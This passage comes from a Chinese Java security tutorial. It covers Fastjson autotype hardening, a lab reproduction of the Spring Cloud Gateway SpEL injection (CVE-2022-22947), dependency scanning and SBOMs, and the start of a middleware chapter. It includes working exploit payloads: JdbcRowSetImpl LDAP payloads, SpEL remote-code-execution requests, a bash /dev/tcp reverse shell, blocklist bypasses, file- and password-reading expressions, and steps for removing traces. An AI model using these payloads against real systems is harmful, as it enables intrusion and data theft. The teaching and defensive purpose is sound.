ParserConfig.getGlobalInstance().setSafeMode(true);     // ★ fastjson 1.2.68+ 支持
// safeMode 的效果:完全禁止 autotype,任何 @type 都会被拒绝

// 【加固 2】如果确实需要 autotype,用白名单(绝不能用黑名单!)
ParserConfig.getGlobalInstance().addAccept("com.example.dto.");   // 只信任自己包的类
// ★ 原理对比:
//   黑名单:列举"不能用的" → 攻击者总能找到你没列的
//   白名单:列举"能用的"   → 攻击者找不到新的

// 【加固 3】解析时显式指定类型,不给 @type 机会
User user = JSON.parseObject(json, User.class);      // ✅ 明确说"我要 User"
Object obj = JSON.parse(json);                        // ❌ 会按 @type 加载任意类

// 【加固 4】用 parseObject 而不是 parse
// parse() + 强转 是危险写法

若不能升级(应急):

// 在应用启动时执行(反射方式关闭,适用于老版本)
System.setProperty("fastjson.parser.autoTypeSupport", "false");
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

检测工具:

# 探测目标 Fastjson 版本(用 DNS 外带,无害)
curl -s -X POST http://target/api \
  -H "Content-Type: application/json" \
  -d '{"@type":"java.net.Inet4Address","val":"abc7de.dnslog.cn"}'
# 如果 dnslog 收到解析 → 说明 autotype 开着(1.2.24 或配置了 autoTypeSupport=true)

# 用 Burp 插件 FastjsonScan 自动探测 + 利用
# 或者用 Nuclei
nuclei -u http://target -t vulnerabilities/fastjson/

6.6.6 复测脚本

cat > /tmp/verify_fastjson.sh <<'SCRIPT'
#!/bin/bash
# Fastjson 修复复测
TARGET="${1:-http://127.0.0.1:8090}"
DNS="${2:-abc7de.dnslog.cn}"

echo "=== Fastjson autotype 修复复测(共 7 项)==="

declare -a TESTS=(
  '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://DNS/a","autoCommit":true}'
  '{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://DNS/a","autoCommit":true}'
  '{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://DNS/a","autoCommit":true}'
  '{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://DNS/a","autoCommit":true}'
  '{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://DNS/a","autoCommit":true}}'
  '{"@type":"java.net.Inet4Address","val":"DNS"}'
  '{"@type":"java.net.Inet6Address","val":"DNS"}'
)

i=1
for t in "${TESTS[@]}"; do
  real="${t//DNS/$DNS}"
  printf "  [%d] 发送:%.60s...\n" "$i" "$real"
  curl -s -o /tmp/_fj_resp.txt -m 10 -X POST "$TARGET" \
    -H "Content-Type: application/json" -d "$real"
  if grep -qiE "autoType is not support|safeMode|not support|拒绝" /tmp/_fj_resp.txt; then
    echo "      ✅ 被拒绝"
  else
    echo "      ⚠️  未被拒绝(需结合 dnslog 判断):$(head -c 80 /tmp/_fj_resp.txt)"
  fi
  i=$((i+1))
done

echo ""
echo "→ 去 $DNS 的 dnslog 刷新:0 条记录 = 通过"
echo ""
echo "=== 代码自查 ==="
echo "  1. 版本:mvn dependency:tree | grep fastjson      # 要求 >= 1.2.83 或用 fastjson2"
echo "  2. 搜索危险写法:grep -rn 'JSON.parse(' src/       # 应改为 parseObject(json, Xxx.class)"
echo "  3. 是否开启 safeMode:grep -rn 'setSafeMode' src/  # 应该有"
SCRIPT
chmod +x /tmp/verify_fastjson.sh

6.7 Spring Cloud Gateway SpEL 注入(CVE-2022-22947)

漏洞:CVE-2022-22947,CVSS 10.0 影响版本:Spring Cloud Gateway 3.1.0 和 3.0.0 ~ 3.0.6(以及更老的不支持版本) 一句话原理:Spring Cloud Gateway 的 Actuator 端点允许动态添加路由, 而路由的 filter 配置支持 SpEL 表达式。 如果 Actuator 被暴露在公网,攻击者就能添加一个带恶意 SpEL 表达式的路由, 刷新后表达式被执行 → RCE。

6.7.1 两个名词

名词 白话解释
Spring Cloud Gateway 微服务架构里的 API 网关:所有请求先进它,由它决定转发给哪个服务。类似 Nginx,但用 Java 写的、可编程
Actuator Spring Boot 的运维监控端点。/actuator/health 看健康状态、/actuator/env 看环境变量、/actuator/gateway/routes 管理网关路由。功能很强,但暴露出去极其危险(第七章会专门讲)

6.7.2 为什么“动态添加路由”能 RCE?

Spring Cloud Gateway 的路由配置长这样:

spring:
  cloud:
    gateway:
      routes:
        - id: user-service
          uri: http://user-service:8080
          predicates:
            - Path=/api/user/**
          filters:
            - AddResponseHeader=X-Name, #{@systemProperties['user.name']}   # ← ★ 这里能写 SpEL

关键点:Gateway 的 filter 参数支持 #{...} 形式的 SpEL 表达式,这是官方设计的功能(为了灵活配置)。

漏洞链条:

① 攻击者发现 /actuator/gateway/routes 暴露在公网
        │
        ▼
② POST 一个路由,filter 里写恶意 SpEL:
   - id: hack
     filters:
       - name: AddResponseHeader
         args:
           name: Result
           value: "#{T(java.lang.Runtime).getRuntime().exec(new String[]{'touch','/tmp/GATEWAY_PWNED'})}"
        │
        ▼
③ POST /actuator/gateway/refresh 刷新路由
        │
        ▼
④ Gateway 加载这条路由 → 解析 filter 参数 → ★ 求值 SpEL 表达式
        │
        ▼
    💥 命令执行了(甚至不需要真的有请求打进来)

6.7.3 动手:用 Vulhub 复现

cd ~/vulhub/spring/CVE-2022-22947
docker compose up -d
docker compose ps
# 预期:
# NAME                            SERVICE   STATUS   PORTS
# cve-2022-22947-gateway-1        gateway   Up       127.0.0.1:8080->8080/tcp

# 探活:看看 Actuator 是不是暴露的
curl -s http://127.0.0.1:8080/actuator/gateway/routes
# 预期:返回 JSON 数组,里面有默认路由

第 1 步:确认 SpEL 能被执行(无害验证)

# 创建一个路由,filter 的值用 SpEL 读取环境变量
curl -s -X POST http://127.0.0.1:8080/actuator/gateway/routes/testroute \
  -H "Content-Type: application/json" \
  -d '{
        "id": "testroute",
        "filters": [{
          "name": "AddResponseHeader",
          "args": {
            "name": "Result",
            "value": "#{T(java.lang.System).getenv()}"
          }
        }],
        "uri": "http://example.com"
      }'
# 预期:HTTP 201 Created

# 刷新路由(★ 这一步才是真正触发 SpEL 求值)
curl -s -X POST http://127.0.0.1:8080/actuator/gateway/refresh
# 预期:返回被刷新的路由 id 列表

# 读取结果(SpEL 的执行结果会被存到路由定义里)
curl -s http://127.0.0.1:8080/actuator/gateway/routes/testroute | python3 -m json.tool

预期输出(节选):

{
  "id": "testroute",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "{\n  PATH=/usr/local/bin:...,\n  JAVA_HOME=/opt/java/openjdk,\n  HOSTNAME=abc123,\n  ...所有环境变量...\n}"
    }
  }],
  "uri": "http://example.com"
}

注意看:value 从 "#{T(java.lang.System).getenv()}" 变成了真实的环境变量内容。 这证明 SpEL 被执行了。 而环境变量里通常有数据库密码、AK/SK、Redis 密码——光这一步就已经是严重的信息泄露了。

第 2 步:真正 RCE

# 构造执行命令的路由(注意:SpEL 里用 new String[]{} 避免空格导致解析问题)
curl -s -X POST http://127.0.0.1:8080/actuator/gateway/routes/hackroute \
  -H "Content-Type: application/json" \
  -d '{
        "id": "hackroute",
        "filters": [{
          "name": "AddResponseHeader",
          "args": {
            "name": "Result",
            "value": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"touch /tmp/GATEWAY_PWNED\"})}"
          }
        }],
        "uri": "http://example.com"
      }'

# 刷新(触发执行)
curl -s -X POST http://127.0.0.1:8080/actuator/gateway/refresh

# 验证
docker exec cve-2022-22947-gateway-1 ls -la /tmp/GATEWAY_PWNED
# 预期:文件存在 = RCE 成功

第 3 步:反弹 Shell

# 攻击机监听(终端 1)
nc -lvnp 7777

# 终端 2
curl -s -X POST http://127.0.0.1:8080/actuator/gateway/routes/shellroute \
  -H "Content-Type: application/json" \
  -d '{
        "id": "shellroute",
        "filters": [{
          "name": "AddResponseHeader",
          "args": {
            "name": "Result",
            "value": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/host.docker.internal/7777 0>&1\"})}"
          }
        }],
        "uri": "http://example.com"
      }'
curl -s -X POST http://127.0.0.1:8080/actuator/gateway/refresh

第 4 步:清理痕迹(攻击者会做,防御方要知道)

# 删掉路由
curl -s -X DELETE http://127.0.0.1:8080/actuator/gateway/routes/hackroute
curl -s -X POST http://127.0.0.1:8080/actuator/gateway/refresh

防御启示:攻击者会删掉自己创建的路由,日志里要保留路由变更记录, 否则事后排查时 /actuator/gateway/routes 是“干净”的,你根本看不出被打了。

6.7.4 SpEL 表达式语法速查(理解 payload 用)

// SpEL 的基本语法:#{ 表达式 }
// 在 Spring 里到处可见:@Value("#{...}")、@PreAuthorize("hasRole('ADMIN')")

// 【1】调用静态方法:T(全限定类名).方法名()
#{T(java.lang.Runtime).getRuntime().exec("whoami")}
#{T(java.lang.System).getenv()}
#{T(java.lang.System).getProperty("user.name")}
//  ↑ T() 是 SpEL 里"引用一个类型"的语法,是 RCE 的罪魁祸首

// 【2】new 一个对象
#{new java.lang.ProcessBuilder(new String[]{"whoami"}).start()}

// 【3】访问 Spring 容器里的 Bean:@beanName
#{@userService.getAllUsers()}
#{@environment.getProperty('spring.datasource.password')}
//  ★ 这个能读到数据库密码!

// 【4】字符串/集合操作
#{'abc'.toUpperCase()}
#{T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}
//  ↑ 读文件

// 【5】绕过技巧:如果 Runtime 被黑名单拦了,用 ProcessBuilder
#{new java.lang.ProcessBuilder({'whoami'}).start()}

// 【6】绕过技巧:用反射(字符串拼接绕过关键字检测)
#{T(java.lang.Class).forName('java.lang.Run'+'time').getRuntime().exec('whoami')}

6.7.5 修复

【修复 1】升级版本(根治)

<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-gateway-server</artifactId>
    <!-- ❌ 3.1.0 / 3.0.0~3.0.6 有漏洞 -->
    <version>4.1.5</version>    <!-- ✅ 3.1.1+ / 3.0.7+ 已修复 -->
</dependency>

3.1.1 是怎么修的? 引入了一个 GatewayEvaluationContext(受限的求值上下文), 默认禁用了 T() 类型引用和 new 等危险操作。

【修复 2】关闭 Gateway 的 Actuator 端点(★ 最重要)

# application.yml
management:
  endpoint:
    gateway:
      enabled: false        # ★ 直接关掉 gateway 端点(生产环境强烈建议)
  endpoints:
    web:
      exposure:
        include: health,info,metrics,prometheus    # ★ 只暴露必要的,绝不用 '*'
  server:
    port: 9090              # ★ 管理端口和业务端口分离
    address: 127.0.0.1      # ★ 只监听本地(第七章详讲)

【修复 3】如果必须开启 dynamic route,加认证 + 审计

@Configuration
public class ActuatorSecurityConfig {

    // 所有 /actuator/** 必须认证,且必须是 ADMIN 角色
    @Bean
    public SecurityFilterChain actuatorChain(HttpSecurity http) throws Exception {
        return http
            .securityMatcher(EndpointRequest.toAnyEndpoint())
            .authorizeHttpRequests(auth -> auth
                .requestMatchers(EndpointRequest.to("health", "info")).permitAll()
                .anyRequest().hasRole("ADMIN"))
            .httpBasic(Customizer.withDefaults())
            .build();
    }
}

// 路由变更审计(★ 关键:留痕)
@Component
public class RouteChangeAuditor implements ApplicationListener<RefreshRoutesEvent> {
    @Override
    public void onApplicationEvent(RefreshRoutesEvent event) {
        log.warn("[安全审计] 网关路由被刷新,操作人={},时间={}",
                 SecurityContextHolder.getContext().getAuthentication() != null
                     ? SecurityContextHolder.getContext().getAuthentication().getName()
                     : "匿名(★ 危险)",
                 LocalDateTime.now());
        // ★ 生产环境应该发到安全告警群
    }
}

【修复 4】SpEL 使用规范(代码层面)

// ❌ 危险:用 StandardEvaluationContext(功能全开,能 T()、能 new)
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext ctx = new StandardEvaluationContext();
Object result = parser.parseExpression(userInput).getValue(ctx);   // ← 用户能执行任意代码

// ✅ 安全:SimpleEvaluationContext(只读,禁用 T()、new、构造函数、Bean 引用)
SimpleEvaluationContext ctx = SimpleEvaluationContext
    .forReadOnlyDataBinding()
    .withInstanceMethods()          // 只允许调用实例方法(且需配合白名单)
    .build();
Object result = parser.parseExpression(userInput).getValue(ctx);
// 效果:#{T(java.lang.Runtime)...} 会直接抛异常

记牢这一对:

  • StandardEvaluationContext = 功能全开 = 危险
  • SimpleEvaluationContext = 受限 = 安全

这两个类的区别是 SpEL 安全的核心,面试经常被问到。

6.7.6 复测脚本

cat > /tmp/verify_gateway_spel.sh <<'SCRIPT'
#!/bin/bash
# Spring Cloud Gateway SpEL 修复复测
TARGET="${1:-http://127.0.0.1:8080}"
pass=0; fail=0

chk() {  # chk "描述" "url" "期望拒绝的关键词"
  R=$(curl -s -o /tmp/_gw.txt -w '%{http_code}' "$2")
  if [ "$R" = "404" ] || [ "$R" = "401" ] || [ "$R" = "403" ]; then
    echo "  ✅ 通过:$1(HTTP $R,端点不可访问)"; pass=$((pass+1))
  elif grep -qiE "$3" /tmp/_gw.txt; then
    echo "  ✅ 通过:$1(SpEL 被拒绝)"; pass=$((pass+1))
  else
    echo "  ❌ 未通过:$1(HTTP $R,响应:$(head -c 120 /tmp/_gw.txt))"; fail=$((fail+1))
  fi
}

echo "=== Gateway Actuator 暴露面检查(共 5 项)==="

# 1. gateway 端点应该完全不可访问
chk "1. /actuator/gateway/routes 不可访问" "$TARGET/actuator/gateway/routes" "error"

# 2. env 端点(泄露所有环境变量和数据库密码)
chk "2. /actuator/env 不可访问" "$TARGET/actuator/env" "error"

# 3. heapdump(能拖出内存里的所有密码,第七章讲)
chk "3. /actuator/heapdump 不可访问" "$TARGET/actuator/heapdump" "error"

# 4. 尝试创建恶意路由
CODE=$(curl -s -o /dev/null -w '%{http_code}' -X POST "$TARGET/actuator/gateway/routes/_verify_test" \
  -H 'Content-Type: application/json' \
  -d '{"id":"_verify_test","filters":[{"name":"AddResponseHeader","args":{"name":"R","value":"#{T(java.lang.System).getenv()}"}}],"uri":"http://example.com"}')
if [ "$CODE" = "404" ] || [ "$CODE" = "401" ] || [ "$CODE" = "403" ]; then
  echo "  ✅ 通过:4. 无法创建路由(HTTP $CODE)"; pass=$((pass+1))
else
  echo "  ❌ 未通过:4. 仍可创建路由(HTTP $CODE)"; fail=$((fail+1))
fi

# 5. 检查是否意外暴露了所有端点
R=$(curl -s "$TARGET/actuator")
if echo "$R" | grep -qiE '"gateway|"env"|"heapdump"|"beans"|"threaddump"'; then
  echo "  ❌ 未通过:5. /actuator 暴露了危险端点:$(echo $R | head -c 150)"; fail=$((fail+1))
else
  echo "  ✅ 通过:5. 未暴露危险端点"; pass=$((pass+1))
fi

echo ""
echo "结果:通过 $pass / 5,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 Gateway 加固验证通过" || echo "⚠️  还有 $fail 项需要处理"
SCRIPT
chmod +x /tmp/verify_gateway_spel.sh

6.8 组件漏洞治理:从“救火”到“免疫”

前面四个 CVE 讲完了,但真正有价值的不是记住这四个漏洞,而是建立“下个漏洞来了怎么办”的能力。

6.8.1 四个 CVE 的共同规律(★ 面试的核心认知)

漏洞 外部输入控制的是什么 触发机制
Shiro-550 序列化字节流 → 还原哪个对象 反序列化 + 硬编码密钥
Log4Shell 日志内容 → 查哪个资源 表达式求值(Lookup)
Fastjson JSON 的 @type → 加载哪个类 类加载 + setter 调用
Gateway SpEL 路由配置的 filter 值 → 执行什么表达式 表达式求值(SpEL)

一句话总结:

凡是“数据能决定服务器该做什么”的地方,都有 RCE 风险。 防御的统一答案:白名单(限定能加载什么类 / 能查什么资源 / 能求值什么表达式), 而不是黑名单。

6.8.2 三个必须知道的名词:SCA / SBOM / VEX

名词 英文全称 白话解释 生活类比
SCA Software Composition Analysis,软件成分分析 自动扫描你的项目用了哪些第三方库、有没有已知漏洞的工具 体检:抽血化验,看各项指标有没有异常
SBOM Software Bill of Materials,软件物料清单 一份清单,列出你的软件里所有的组件和版本(包括间接依赖) 食品的配料表:面粉、水、糖、防腐剂…… 出问题时能快速定位是哪一批次的原料有问题
VEX Vulnerability Exploitability eXchange 一份“漏洞影响声明“:某个 CVE 虽然存在,但在你的场景下不可利用(比如漏洞函数你根本没调用),所以不用急着修 医生说“你体检报告上这项指标偏高,但结合你的年龄和体质,不用治,观察就行”

为什么这三个如此重要? Log4Shell 爆发那天,全世界的公司问的第一个问题都是: “我们到底哪些系统用了 Log4j?用的哪个版本?”

  • 有 SBOM 的公司:10 分钟就列出了所有受影响系统
  • 没 SBOM 的公司:通宵三天人工翻代码、翻服务器

这就是 SBOM 的价值。美国 2021 年的行政令已经强制要求软件供应商提供 SBOM。

生成 SBOM 的实操:

# 方式 1:用 CycloneDX(最流行的 SBOM 格式之一)
# Maven 插件
mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom
# 生成 target/bom.json 和 target/bom.xml

# 方式 2:用 Syft(扫容器镜像,推荐)
syft myapp:latest -o cyclonedx-json > sbom.json
syft myapp:latest -o spdx-json > sbom.spdx.json

# 看看 SBOM 长啥样
cat sbom.json | python3 -m json.tool | head -40
# 预期:
# {
#   "bomFormat": "CycloneDX",
#   "specVersion": "1.5",
#   "components": [
#     { "type": "library", "name": "log4j-core", "version": "2.14.1", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1" },
#     ...
#   ]
# }

用 SBOM 做应急响应(这就是 Log4Shell 那天该有的能力):

# 假设你有一堆服务的 SBOM 文件
# 一条命令找出所有用了漏洞版本 Log4j 的服务
for f in sbom/*.json; do
  app=$(basename "$f" .json)
  # 解析 SBOM,找 log4j-core 且版本 < 2.17.1
  jq -r --arg app "$app" '
    .components[]?
    | select(.name | test("log4j-core"; "i"))
    | select(.version | test("^(2\\.(0|1[0-6]|[0-9]-beta))|2\\.17\\.0"))
    | "❌ \($app) 使用了 log4j-core \(.version)"
  ' "$f"
done

6.8.3 依赖漏洞扫描落地(三道卡点)

┌──── 卡点 1:本地开发(IDE 插件 / pre-commit)────────────┐
│  工具:IDE 的 Snyk / SonarLint 插件                      │
│  时机:写代码时就有提示                                   │
│  作用:最早发现问题,成本最低                             │
└───────────────────────────────────────────────────────────┘
                          ↓
┌──── 卡点 2:CI 流水线(★ 最重要)──────────────────────┐
│  工具:OWASP Dependency-Check / Trivy / Snyk / Grype    │
│  时机:每次提交代码、每次构建                            │
│  作用:★ 高危漏洞直接让构建失败,根本出不了门            │
└───────────────────────────────────────────────────────────┘
                          ↓
┌──── 卡点 3:运行时 / 镜像仓库(兜底)──────────────────┐
│  工具:Trivy 扫镜像、Harbor 的漏洞扫描、RASP            │
│  时机:镜像构建后、部署前                                │
│  作用:拦住"绕过 CI 直接构建"的情况,以及新披露的 CVE   │
└───────────────────────────────────────────────────────────┘

卡点 2 的具体配置(GitLab CI 示例):

# .gitlab-ci.yml
stages:
  - build
  - scan

dependency-scan:
  stage: scan
  image:
    name: aquasec/trivy:latest
  script:
    # 扫项目依赖(--exit-code 1 表示发现高危就失败)
    - trivy fs --severity CRITICAL,HIGH --exit-code 1 --no-progress .
    # 同时生成 SBOM 存档(★ 应急时能救命)
    - trivy fs --format cyclonedx --output sbom.json .
  artifacts:
    paths:
      - sbom.json
    expire_in: 1 year
  allow_failure: false      # ★ 高危不允许通过

应急时怎么“临时放行”?(真实场景一定会遇到)

# 情况:CVE 刚爆出来,官方还没发补丁版本,但业务要上线
# 做法:用 .trivyignore 临时忽略,但必须写清楚原因和责任人

# .trivyignore
# 格式:漏洞ID  过期时间  原因  责任人
CVE-2021-44228  2026-12-31  等待 log4j 2.17.1 发布,已启用 -Dlog4j2.formatMsgNoLookups=true 缓解  @zhuhonghui
CVE-2023-12345  2026-10-01  该漏洞在 fastjson 的 XxxSerializer 路径,我们未使用该功能,已确认不可利用(VEX)  @zhuhonghui

# ★ 关键:必须写过期时间!否则这个 ignore 会永远留着,变成技术债

6.8.4 升级依赖的“三不”原则(实战经验)

原则 说明
① 不能只升直接依赖 你的 pom 里写了 spring-boot-starter-web:2.7.0,它内部带的 Log4j 是 2.14.1。必须用 dependencyManagement 或 BOM 覆盖传递依赖
② 不能只看版本号 有些库改名了(fastjson → fastjson2)、groupId 变了(org.springframework.cloud:spring-cloud-gateway-server vs spring-cloud-gateway-core)。升级前先查官方迁移文档
③ 不能一次性全升 一次升 20 个依赖,出问题不知道是谁。应该:先升最高危的 1 个 → 跑全量测试 → 再升下一个。我们用 Dependabot 配置成“每天最多开 3 个 PR”

Spring Boot 项目覆盖传递依赖的标准写法:

<dependencyManagement>
    <dependencies>
        <!-- ★ 用 BOM 统一覆盖(推荐) -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-bom</artifactId>
            <version>2.23.1</version>
            <type>pom</type>
            <scope>import</scope>
        </dependency>
        <!-- 或者直接指定单个 artifact -->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.83</version>
        </dependency>
    </dependencies>
</dependencyManagement>

<!-- 验证是否真的覆盖了 -->
<!-- mvn dependency:tree -Dincludes=org.apache.logging.log4j -->

6.8.5 建立“组件台账”(最小可行方案)

如果你所在公司还没有 SCA,用下面这个最简方案先跑起来(半小时能搭完):

#!/bin/bash
# dep_inventory.sh —— 生成所有服务的依赖台账(最简版)
# 放到 Jenkins/GitLab CI 上,每周跑一次

OUT_DIR="./dep-inventory/$(date +%Y-%m-%d)"
mkdir -p "$OUT_DIR"

for repo in /data/repos/*/; do
  app=$(basename "$repo")
  echo "扫描:$app"

  if [ -f "$repo/pom.xml" ]; then
    (cd "$repo" && mvn -q dependency:tree -DoutputFile="$OUT_DIR/$app.txt" 2>/dev/null)
  elif [ -f "$repo/build.gradle" ]; then
    (cd "$repo" && ./gradlew -q dependencies > "$OUT_DIR/$app.txt" 2>/dev/null)
  fi
done

# 汇总:找出所有高危组件
echo "=== 高危组件汇总 ==="
grep -rhiE "log4j-core|fastjson|shiro-core|commons-collections|commons-beanutils|xstream" \
  "$OUT_DIR" | sort -u

# 生成 SBOM 汇总
echo ""
echo "台账已生成:$OUT_DIR"
echo "应急时:grep -rl 'log4j-core:2.14' $OUT_DIR  # 一条命令找出所有受影响服务"

6.8.6 本章实验的“安全红线”再次强调

┌──────────────────────────────────────────────────────────────┐
│  ⚠️  第六章所有实验的红线                                      │
├──────────────────────────────────────────────────────────────┤
│  1. 所有靶场容器【只监听 127.0.0.1】,绝不映射 0.0.0.0       │
│  2. 靶场网络用独立的 lab-net,和你的开发机、生产隔离          │
│  3. 禁止对任何【不属于自己的系统】发送 payload                │
│  4. dnslog.cn 等公共平台是【公开的】,不要用它测真实业务      │
│  5. 实验结束后 docker compose down -v 清理干净                │
├──────────────────────────────────────────────────────────────┤
│  《刑法》第 285 条:非法侵入计算机信息系统罪                  │
│  《刑法》第 286 条:破坏计算机信息系统罪                      │
│  即使是"只是试试"也可能构成违法                               │
└──────────────────────────────────────────────────────────────┘

6.9 第六章总结:面试怎么讲

6.9.1 一个能讲 3 分钟的完整故事

“关于 Java 组件漏洞,我系统复现过四个:Shiro-550、Log4Shell、Fastjson autotype、Spring Cloud Gateway SpEL。

我把它们归成了一个根因:都是把不可信数据当成了’指令’去执行。

  • Shiro-550 是把 Cookie 里的数据当成对象去还原;
  • Log4Shell 是把日志内容当成表达式去求值;
  • Fastjson 是把 JSON 里的 @type 当成类名去加载;
  • Gateway 是把路由配置当成 SpEL 表达式去执行。

其中最有技术含量的是反序列化,我想重点讲一下。 它的精妙之处在于:攻击者没有往服务器上注入任何新代码。 他只是构造了一段数据,让服务器上已经存在的、合法的、人畜无害的类 ——比如 commons-collections 里的 InvokerTransformer—— 按他设计的顺序被调用,最后拼出了 Runtime.exec()。 就像用乐高原装零件拼出一把钥匙,每个零件都是正版的,但组合起来是你没想到的。

所以这类漏洞无法通过’我不写危险代码’来避免,因为漏洞在你的依赖库里。 防御手段我总结成四个层次: 第一层是升级依赖(commons-collections 升到 3.2.2,链条从根上断); 第二层是 JEP 290 白名单(加一个 ObjectInputFilter,只允许白名单类被反序列化,同时记录被拒绝的类名——这是很好的入侵检测信号); 第三层是架构上不用 Java 原生序列化(换 JSON 或 Kryo,只还原数据不触发行为); 第四层是运行时 RASP 兜底。

流程上,我们后来把 SCA 依赖扫描加进了 CI,高危漏洞直接让构建失败; 每次构建都会生成 SBOM 存档。 这一点在 Log4Shell 那次真的救了命——有 SBOM 的公司 10 分钟就能列出所有受影响系统, 没有的通宵三天人工翻代码。“

6.9.2 本章速查表

想查什么 看哪节
XXE 怎么读文件 / 打内网 / OOB 6.1
十亿笑 DoS 是什么 6.1.3
XML 解析库怎么防 XXE(7 个库) 6.1.6
为什么 readObject() 会执行代码 6.2.2
Gadget Chain 是什么(酒店机器人类比) 6.2.3
CC 链四个零件拆解 6.2.4
CC1/CC5/CC6/CB1 怎么选 6.2.5
反弹 shell 原理(逐段解释) 6.3.1
反序列化四道防线 6.3.2
Shiro-550 为什么是“把加密当认证” 6.4.2
Shiro 常见密钥字典 6.4.5
Log4Shell 为什么 WAF 拦不住 6.5.4
Log4j 该升到哪个版本 6.5.5
Fastjson 绕过史(1.2.47 缓存绕过) 6.6.4
SpEL 的 StandardEvaluationContext vs SimpleEvaluationContext 6.7.5
SCA / SBOM / VEX 是什么 6.8.2

6.9.3 本章必背 10 句话

  1. Java 序列化数据的指纹是 aced0005,base64 后是 rO0AB——看到就要警惕
  2. 反序列化漏洞不需要注入代码,用的是目标 classpath 里已有的合法类
  3. Gadget Chain = 用正版零件拼出的钥匙
  4. Runtime 不能序列化,所以要通过反射“曲线救国”(CC 链的精髓)
  5. 判断反序列化成不成功,不看 HTTP 响应码(命令在抛异常前就执行完了)
  6. Shiro-550 的根因是“把加密当认证”——密钥公开,加密就没有意义
  7. Log4Shell 的 WAF 防不住,因为 WAF 看字面量、Log4j 看求值结果
  8. Log4j 必须升到 2.17.1,2.15.0 和 2.16.0 都还有 CVE
  9. 白名单优于黑名单——Fastjson 的黑名单被绕了 20 多个版本
  10. SpEL 安全的核心是 SimpleEvaluationContext,永远不要用 StandardEvaluationContext 处理用户输入

6.9.4 本章的实验清单与耗时

实验 靶场 难度 耗时 面试价值
XXE 读文件 + SSRF + OOB Vulhub solr ★★☆ 30 分钟 ★★★
十亿笑 DoS Vulhub solr ★☆☆ 10 分钟 ★★
ysoserial 生成 payload 本地 ★☆☆ 15 分钟 ★★★★
打自建靶场 /deser/load 自建 ★★☆ 20 分钟 ★★★★★
反弹 Shell 自建 ★★★ 30 分钟 ★★★★★
Shiro-550 完整复现 Vulhub ★★☆ 40 分钟 ★★★★★
Log4Shell 完整复现 Vulhub ★★☆ 40 分钟 ★★★★★
Log4Shell WAF 绕过变形 Vulhub ★★★ 20 分钟 ★★★★
Fastjson 1.2.24 RCE Vulhub ★★☆ 30 分钟 ★★★★
Gateway SpEL RCE Vulhub ★★☆ 30 分钟 ★★★
SBOM 生成与应急查询 本地 ★☆☆ 20 分钟 ★★★★

如果你时间有限,只做这三个: Shiro-550(最经典、最容易被问)→ Log4Shell(影响最大、故事性最强)→ 打自建靶场拿反弹 Shell(技术含量最高,能体现你懂原理)。


第七章:中间件与数据库未授权实战

这一章讲的是“内网的门槛”。

前六章的漏洞都发生在应用层(你写的代码里)。这一章不一样—— 你的代码写得再安全,如果 Redis 没设密码、Nacos 没做鉴权、Jenkins 暴露在公网, 攻击者根本不需要碰你的代码,直接从旁边走过去就把服务器拿下了。

这类漏洞的三个特点: ① 门槛极低——不需要懂代码,一条 redis-cli 命令就行,所以被自动化脚本批量扫描的概率最高; ② 危害极大——基本都是直接 GetShell,没有中间商赚差价; ③ 和你的代码质量无关——属于运维配置问题,开发往往根本不知道自己部门有这种机器。

面试价值:这类问题能体现你有“全局视角“——不只盯着自己的代码, 还知道整个系统里哪些地方最容易被攻破。

7.0 先建立“未授权访问”的心智模型

7.0.1 什么叫“未授权访问”

一句话定义:一个服务本该要求身份验证,但因为配置不当, 任何人都能连上去操作,而且往往是以高权限(root / admin)操作。

生活类比:

你家小区门禁坏了,任何人都能进。 更糟的是,进去了还能直接进物业办公室——因为办公室门上写着“推门进,钥匙在桌上”。

门禁 = 网络边界(防火墙) 办公室 = Redis / Nacos / Jenkins 桌上的钥匙 = 默认空密码

7.0.2 为什么会普遍存在?(三个真实原因)

原因 真实场景
① 默认配置就是危险的 Redis 官方 redis.conf 默认 没有密码、默认 bind 127.0.0.1——但很多人改成 bind 0.0.0.0 之后忘了加密码
② 只在内网,所以觉得安全 “这是内网机器,不用设密码”——但SSRF(第五章)可以让攻击者借你的手访问内网,内网边界形同虚设
③ 测试环境忘了回收 临时起一个 Redis 测功能,测完忘了关。公网扫描器 24 小时内就能找到它

★ 一个残酷的事实: 公网上有大量的自动化扫描器,24 小时不停地扫 6379(Redis)、3306(MySQL)、8848(Nacos)、 8080(Jenkins/Tomcat)、9200(Elasticsearch)、27017(MongoDB)、11211(Memcached)这些端口。 一台没设密码的 Redis 暴露在公网上,平均存活时间不到 4 小时就会被入侵(一般是被种挖矿木马)。

这也是为什么第 0.2 节要求你的靶场只监听 127.0.0.1—— 如果你把靶场的 Redis 映射到 0.0.0.0:6379,你自己的机器也会变成别人的矿机。

7.0.3 本章要打的靶子

服务 默认端口 未授权能干什么 危险等级
Redis 6379 写文件 → 直接 GetShell ★★★★★
MySQL 3306 拖库;有 FILE 权限可 UDF 提权 → GetShell ★★★★★
Nacos 8848 拖走所有配置(含数据库密码)、部分版本 RCE ★★★★★
Jenkins 8080 Groovy 脚本执行 → GetShell ★★★★★
Elasticsearch 9200 拖走全部数据 ★★★★
MongoDB 27017 拖走全部数据 ★★★★
Actuator 8080/actuator heapdump 拖走内存里的所有密码 ★★★★
Druid /druid SQL 监控泄露、session 劫持 ★★★
